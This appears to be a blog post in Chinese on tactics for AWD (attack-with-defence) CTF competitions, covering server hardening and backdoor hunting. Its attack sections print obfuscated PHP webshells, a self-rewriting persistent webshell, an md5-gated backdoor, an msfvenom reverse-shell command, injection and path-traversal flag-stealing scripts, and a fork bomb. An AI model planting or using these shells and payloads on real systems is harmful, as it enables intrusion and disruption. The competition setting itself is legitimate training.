AWD的那些事

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,高可用系列 2核4GB
简介: AWD的那些事

目录

介绍

比赛形式与规则

比赛网络环境

AWD考——内容:

加固

信息收集

漏洞检查

加强防护

Awd中pwn防护

使用python打补丁

编写伪程序替换有漏洞的程序

使用赋值破坏逻辑结构

编写判断语句

最基本打补丁

攻击

团队协作

常见的技巧方式

总结

开始后的时间需要完成的内容:

注意事项

介绍
AWD赛制是一种网络安全竞赛的赛制。AWD赛制由安全竞赛专家及行业专家凭借十多年实战经验,将真实网络安全防护设备设施加入抽象的网络环境中,模拟政府、企业、院校等单位的典型网络结构和配置,开展的一种人人对抗的竞赛方式,考验参赛者攻防兼备的能力。其主要特点为:强调实战性、实时性、对抗性,综合考量竞赛队的渗透能力和防护能力。 AWD全称 Attack With Defence 总之就是你既是 hacker 又是 manager ;目标就是拿到其他战队靶机的shell 即可,通过shell 访问 flag服务器,得到flag后提交得分;

攻击-发现漏洞
防御-修复漏洞
比赛形式与规则
服务器主要是包括WEB靶机和PWN靶机,服务器基本上为linux系统在系统某处存在flag或者执行某条命令获取flag
flag 定时刷新,每隔一段时间会生成新的flag,攻击者可以提交新的flag 来得分,但不可重复提交相同的flag
每队均有一定的初始防御积分,被其他队伍攻击后,确认存在漏洞未加固成功,扣除一定的防御积分
获得其他队伍的flag进行提交可以获得其他队伍扣除的积分和竞赛平台的奖励积分,称为攻击分
竞赛平台会对每个队伍的服务器进行检查,服务器宕机或者服务器异常将会扣除本轮所有分数
竞赛期间,参赛队伍可以申请重置靶机,每一台靶机申请重置一次扣除一定的分数
计分规则一般分为防御分+攻击分=总分,分数相同时防御队伍高的分数优先
竞赛开始通常队伍有一定时间可以对自己的服务器进行加固维护等操作和攻击的相关准备工作,在此时间段内各个队伍网络相互隔离
每个队伍对服务器维护的账户一般为低权限账户
为保证比赛顺利进行,禁止对竞赛平台和现场网络设备发起恶意攻击,以及对参赛队伍的客户机发起攻击
参赛队员如有问题可举手示意裁判组
比赛网络环境
竞赛现场的基本网络环境为局域网,无法访问外网。比赛现场可能告知其他队伍服务器

AWD考——内容:
出题人自己写的CMS,附加了一些常见的WEB漏洞
常见或者不常见的CMS
一些框架漏洞,比如thinkphp、struts2这种

加固
信息收集
ipscan快速扫描C段
如果有B段,nmap存活探测
Netstat查看3台靶机所有端口
用WebServerScanner扫Web的Banner(也可以快速发现存活主机)
常见协议/服务密码收集,DB/配置里面
重点:端口(服务)+站点位置
漏洞检查
上传漏洞,123456789等等
SVN git源码泄露(直接删除)
Struts,jboss等中间件漏洞
CMS漏洞,参考exp-lists
反序列化,badbash,heartbleed
中间件站点配置文件:
apache: conf目录下httpd.conf,或/etc/httpd/conf/httpd.conf

          Tomcat:   conf目录下server.xml ,tomcat-users.xml 

          Mysql:    /etc/my.cnf

          站点配置文件conn.php   inc.php  config.php

          利用 .htaccess进行加固

exp-lists站点配置文件:
康盛 UCenter /data/config.inc.php

         Discuz! /config.inc.php

         UCH /config.php

         帝国CMS /e/class/config.php

         ECShop /data/config.php

         ShopEX /config/config.php

         WordPress /wp-config.php

         Joomla! /configuration.php

         HDWiki /config.php

         PHPwind 8.0 /data/sql_config.php

         织梦Dede /data/config.cache.inc.php

         phpcms /include/config.inc.php

加强防护
⚫ 原则:现实怎么加固,比赛就怎么加固

  ⚫ 备份!备份!cd /var/www/html & tar cvf www.tar *

  ⚫ mysqldump -u root -p --databases test > /tmp/db.sql

  ⚫ 站点目录全部只读,注意子目录(注意属主)

  ⚫ chmod –R 644 www

  ⚫ 后台,修改if判断,破坏登录逻辑

  ⚫ 取消upload等目录的脚本运行权限

  ⚫ Monitor脚本监视文件写入操作

  ⚫ 查看会话:pkill -kill -t pts/5

⚫ 针对CMS手工修复漏洞,修改代码

上软waf(三种包含)
代码审计(seay/D盾/rips等)-->查找后门
⚫ 给自己留不死马-->夺回权限

⚫ 权限太低,系统本身、数据库、中间件配置无法修改, 补丁也没法儿打

⚫ 两个环境,三人分工同步进行,并交换检查

⚫ 以下情况直接举手:(平台漏洞)

看passwd有无uid=0的后门账户
有没有SUID后门?(find / -perm -2000 -o -perm -4000)
⚫ 常见日志地址

/var/ log/apache2/

/usr/ local/apache2/logs

/usr/nginx/logs/

⚫ 备份指定的多个数据库

mysqldump -u root -p --databases choose test > /tmp/db.sql

恢复备份,在mysql终端下执行:

命令格式:source FILE_PATH

source ~/db.sql

曾经遇到一个备份有问题可以执行下面

mysqldump -u root --all-databases —skip-lock-tables > /tmp/db.sql

Awd中pwn防护
使用python打补丁
编写伪程序替换有漏洞的程序
使用赋值破坏逻辑结构
编写判断语句
最基本打补丁
gcc hook.c -m32 -o hook.so -fPIC -shared -ldl \ -D_GNU_SOURCE gcc - m32 -o main main.c

攻击
团队协作
⚫ 队长:分派任务

核心目标:加固好两台主机

不被扣分就赢了,关紧门窗 严防死守

一定要守住,每30分钟刷新flag

收集信息,发现漏洞/弱口令(webshell,密码md5 加密),快速拿flag

如果分值相同,先提交flag者排名在先

Web漏洞分析

⚫ 主攻手 

Web漏洞,按自己整理的checklist快速排查

下载所有源码/配置文件,UE批量搜索敏感函数、关键 字段,Seay源代码审计系统

        • 变异马检测:

             1.按文件时间排序,里头有一串乱七八糟的,赶紧删了

             2.安全狗(最新),360

记录漏洞地址、利用方法、加固方法

编写批量攻击的脚本,29分30秒的时候就开刷

权限维持:不死马

   ⚫ 副攻手/加固

如有多个Web应用/端口,分工!

Web加固

中间件加固,tomcat/apache等

方法/exp代码随时查笔记

常见的技巧方式
主机发现

         ⚫ # 使用httpscan脚本 

         ⚫ # masscan :masscan -p 80 172.16.0.0/24

         ⚫ # nmap :nmap –sn 172.16.0.0/24

         ⚫ Netdiscower –r

干掉不死马的方式

         (1).ps auxww|grep shell.php 找到pid后杀掉进程 就可以,你删掉脚本是起不了作用的,因为php执行 的时候已经把脚本读进去解释成opcode运行了

         (2).重启php等web服务

         (3).用一个ignore_user_abort(true)脚本,一直竞争 写入(断断续续)。usleep要低于对方不死马设置 的值。

         (4).创建一个和不死马生成的马一样名字的文件夹

修改curl命令

⚫ alias curl='echo fuckoff' #权限要求较低

⚫ chmod -x curl #权限要求较高

⚫ /usr/bin/curl路径
简单的查找后门

⚫ find . -name '.php' | xargs grep -n 'eval('
⚫ find . -name '
.php' | xargs grep -n 'assert('
⚫ find . -name '*.php' | xargs grep -n 'system('
常用的特殊webshell

控制用的一句话木马,最好是需要菜刀配置的,这样做是为了不让别人轻
易的利用你的一句话,要不然就只能等着别人用你的脚本捡分。
简单举例:
<?php ($_=@$GET[2]).@$($POST[1])?>
连接方式:php?2=assert密码是1。
<?php
$sF=
"PCT4BA6ODSE
";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[
6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${
strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s
22)){eval($s21($s22));}
?>
配置填:n985de9=QGV2YWwoJF9QT1NUWzBdKTs=
连接密码:0(零)
常用得一句话
<?php
$a=chr( 96^5);
$b=chr( 57^79);
$c=chr( 15^110);
$d=chr( 58^86);
$e= '($_REQUEST[C])';
@assert($a.$b.$c.$d.$e);
?>
配置为:?b=))99(rhC(tseuqeR+lave
权限维持
<?php
set_time_limit( 0);
ignore_user_abort( true);
$file = '.conifg.php’;
$shell = "<?php echo system("curl 10.0.0.2"); ?>";
while(true){
file_put_contents($file, $shell);
system( 'chmod 777 .demo.php’);
unsleep( 50);
}
?>
.config.php前面使用一个点,能很好的隐藏文件
要结束这个进程,除了最暴力的重启apache服务之外,更为优雅
的如下:
<?php
while (1) {
$pid= 1234;
@unlink( '.config.php’);
exec( 'kill -9 $pid');
}
?>
先查看进程,查看对应的pid,再执行即可
会放置一个md5马,比如
<?php
if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a82
5253')
@ eval($_POST['cmd']);
?>
像rootrain这种就是。那就是利用
header,最后综合起来就是
<?php
echo 'hello';
if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')
if (@$_SERVER['HTTP_USER_AGENT'] == 'flag'){
$test= 'flagxxxxxxxxxxxxxxxxxxxxxx';
header( "flag:$test");
}
?>
放进config.php效果最好,因为一般很少人去看这个
反弹shell
之后本地执行nc -lp
9999即可
msfvenom -p
php/meterpreter_rever
se_tcp
LHOST=192.168.232.17
4 LPORT=4444 -f raw >
shell.php

获取flag的方式
批量传webshell(shell的内容可以写为权限维持部分的那个脚本),
之后结合批量访问

   有些SQL注入漏洞可以通过sqlmap利用—sql-shell 执行select load_file('/flag')来获取flag。最好直接利用脚本来获得。 

def sqli(host):
global sess_admin
data = { "section_name":"asd","admin_name":"'||(SELECT
updatexml(1,concat(0x7e,(select
load_file('/flag')),0x7e),1))||'","announcement":"asd"}
r =
sess_admin.post( 'http://%s/index.php/section/add'%host,data=data)
flags = re.findall( r'~(.+?)~',r.content)
if flags:
return flags[0]
else:
return "error pwn!"
文件包含漏洞,直接可以通过../../../../../../flag的方式获取
def include(host):
r = requests.get(url=
"http://%s/?t=../../../../../../flag"%host)
flags = re.findall(r '^(.+?)<',r.content)
if flags:
return flags[0]
else:
return "error pwn!”
批量修改ssh密码的脚本(猥琐流直接干掉几个对手)

如果有发现有预留后门,要立即使用脚本进行获取flag

Fork炸弹

参考: https://linux.cn/article-5685-1-rss.html

:(){:|:&};:
总结
开始后的时间需要完成的内容:
⚫ 列出所有端口、服务 (ps netstat等)
⚫ 确认每一项漏洞,攻击/加固方法(基本两三个漏洞)
⚫ 记下3台主机每个flag的位置/权限
⚫ 备份下所有文件,包括js img,加固替换
⚫ 留下自己的shell/后门,刷flag
index 日志 图片
⚫ 分工加固3台主机!
⚫ 交叉检查确认漏洞不再能够被利用
⚫ 写漏洞批量利用的exp,29分的时候就开刷
注意事项
⚫ 每个队伍2台靶机,环境一样但登录密码不同,比赛开 始后别忘了改密码
⚫ Flag每15分钟刷新,别忘了提交刷分!
⚫ 如果服务/端口/页面down掉,隔段时间才检测一次
⚫ 加固就别留下新漏洞,shell密码别太弱
⚫ 所有中间件/Web加固实验,提前动手做一遍
在水平相差巨大的赛场上,会形成绝杀全场的场面,但是在选手水平相近的赛场上,攻守博弈将十分激烈。
————————————————

                        版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

原文链接:https://blog.csdn.net/weixin_43650289/article/details/118395667

相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
11月前
|
NoSQL 安全 Redis
Bugku S3 AWD排位赛-3(带你入门awd流程)
Bugku S3 AWD排位赛-3(带你入门awd流程)
731 1
|
6月前
|
算法 数据挖掘 芯片
Sentieon | 每周文献-Gene Editing-第二十八期
Sentieon | 每周文献-Gene Editing-第二十八期
37 0
|
6月前
|
存储 算法 计算机视觉
【论文速递】CVPR2022 - MeMOT: 带有记忆的多目标跟踪
【论文速递】CVPR2022 - MeMOT: 带有记忆的多目标跟踪
|
监控 安全 中间件
CTF/AWD竞赛标准参考书+实战指南:《AWD特训营》
CTF/AWD竞赛标准参考书+实战指南:《AWD特训营》
HDLBits: 在线学习Verilog(Problem 120-126)
HDLBits: 在线学习Verilog(Problem 120-126)
111 1
|
机器学习/深度学习 存储 人工智能
7 Papers & Radios | Hinton前向-前向神经网络训练算法;科学家造出「虫洞」登Nature封面
7 Papers & Radios | Hinton前向-前向神经网络训练算法;科学家造出「虫洞」登Nature封面
126 0
|
机器学习/深度学习 人工智能 自然语言处理
7 Papers & Radios | 机器人顶会RSS最佳论文;谷歌用语言模型解数学题(2)
7 Papers & Radios | 机器人顶会RSS最佳论文;谷歌用语言模型解数学题
133 0
|
机器学习/深度学习 人工智能 自然语言处理
7 Papers & Radios | 机器人顶会RSS最佳论文;谷歌用语言模型解数学题(1)
7 Papers & Radios | 机器人顶会RSS最佳论文;谷歌用语言模型解数学题
148 0
|
算法
论文赏析[EACL17]K-best Iterative Viterbi Parsing(K-best迭代维特比句法分析二)
CKY算法或维特比inside算法是成分句法分析的主要方法之一,但是当产生式数量特别大之后,时间复杂度也线性增大。可行的一种方法是剪枝,但是剪枝会造成准确率的下降。所以本文就提出了一种迭代的维特比句法分析算法,通过剪枝去除掉没用的边。实验表明,时间上加快了一个数量级,但是本文并没有说准确率怎么样。。。 本文用到的inside和outside算法之前已经介绍过了,详见PCFG中inside和outside算法详解。
419 0
论文赏析[EACL17]K-best Iterative Viterbi Parsing(K-best迭代维特比句法分析二)